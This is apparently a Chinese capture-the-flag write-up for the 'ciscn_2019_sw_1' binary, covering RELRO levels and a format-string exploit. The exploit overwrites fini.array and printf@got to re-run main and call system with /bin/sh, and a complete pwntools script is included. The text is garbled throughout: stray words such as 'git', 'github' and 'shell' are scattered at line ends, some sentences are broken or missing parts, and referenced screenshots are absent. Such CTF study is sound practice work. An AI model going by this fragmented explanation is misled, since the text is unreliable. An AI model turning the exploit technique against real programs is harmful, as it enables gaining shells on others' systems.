根據本題,學習與收穫有:python
RELRO
保護爲NO RELRO
的時候,init.array、fini.array、got.plt
都可讀可寫;爲PARTIAL RELRO
的時候,ini.array、fini.array
可讀不可寫,got.plt
可讀可寫;爲FULL RELRO
時,init.array、fini.array、got.plt
都可讀不可寫。init.array
數組中的每個函數指針,在結束的時候,依次調用fini.array
中的每個函數指針fini.array
中的函數指針爲main
函數地址,能夠再執行一次main
函數。通常來講,這個數組的長度爲1
,也就是說只能寫一個地址。程序比較簡單,只有一個main
函數,並且就是格式化字符串漏洞。同時注意到,程序中有一個sys
函數,裏面調用了system
。git
漏洞點很明顯,就是main
函數中的格式化
字符串漏洞。能夠而且格式化參數是一個棧變量而不是堆變量,相對來講利用難度要低一點。而且程序給了system
函數,其實都不須要泄露地址。github
程序在結束的時候會調用fini.array
函數指針數組中的每個回調函數。shell
fini.array[0]
改寫爲main
函數地址,與此同時,將printf@got
改寫爲system@plt
,得到第二次執行main
函數的機會/bin/sh
獲取shell
測出printf
格式化字符串的偏移數組
輸入:aaaa%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
函數
測量出偏移爲4
學習
第一次改寫fini.array
和printf@got
,直接手擼:指針
payload = b"%2052c%13$hn%31692c%14$hn%356c%15$hn"+ p32(0x804989c + 2) + p32(0x804989c) + p32(0x804979c) sh.recvline() sh.sendline(payload)
改寫前:調試
改寫後:code
第二次輸入/bin/sh
獲取shell
:
from pwn import * sh = process("./ciscn_2019_sw_1") # 往fini.array[0]寫main@text, printf@got寫system@plt payload = b"%2052c%13$hn%31692c%14$hn%356c%15$hn" + p32(0x804989c + 2) + p32(0x804989c) + p32(0x804979c) sh.recvline() sh.sendline(payload) sleep(1) sh.sendline("/bin/sh") sh.interactive()
遠程攻擊效果: